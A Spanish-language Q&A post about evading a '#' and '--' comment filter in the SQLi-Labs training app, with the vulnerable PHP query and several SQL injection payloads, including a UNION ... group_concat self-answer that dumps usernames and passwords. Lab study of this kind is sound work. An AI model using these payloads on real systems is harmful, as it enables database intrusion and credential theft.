SQLi con filtro de comentarios: descargando la base de datos

1

El siguiente filtro SQLi (MySQL) es de SQLi-Labs:

...
 $reg = "/#/"
 $reg1 ="/--/"
 $replace =""
 $id=preg_replace($reg,$replace,$id);
 $id=preg_replace($reg1,$replace,$id);
 ....
 $sql = "SELECT * FROM users where id='$id' LIMIT 0,1";

Sé que el filtro puede ser evadido por algo como 'or '1'='1 . Sin embargo, me gustaría ver si es posible realizar un volcado de archivos de toda la base de datos, por lo que he intentado cosas como:

 ' union select null,username,password from users into outfile "/tmp/file"...

sin embargo, debido a ' LIMIT 0,1 al final, estoy teniendo problemas para averiguar cómo terminar la carga útil. He pensado en hacer varias consultas sindicales, por ejemplo:

 ' union all select null,username,password from users into outfile "/tmp/file" union all select null,username,password from users group by '

Sin embargo, recibo un error, porque creo que la parte into outfile tiene que ser la última consulta. También pensé en usar FIELDS TERMINATED BY ' pero ahora el LIMIT 0,1 está en mi camino.

¿Hay alguna manera en torno a esto para realizar un volcado de base de datos de la base de datos? ¿Es posible volcar la base de datos a través del error?

    
pregunta dylan7 19.05.2016 - 05:22
fuente

1 respuesta

0

Descubrí que la siguiente inyección volcó la base de datos (aunque no a través de outfile):

' union select null,group_concat(username),group_concat(password) from users group by '

    
respondido por el dylan7 20.05.2016 - 04:08
fuente

Lea otras preguntas en las etiquetas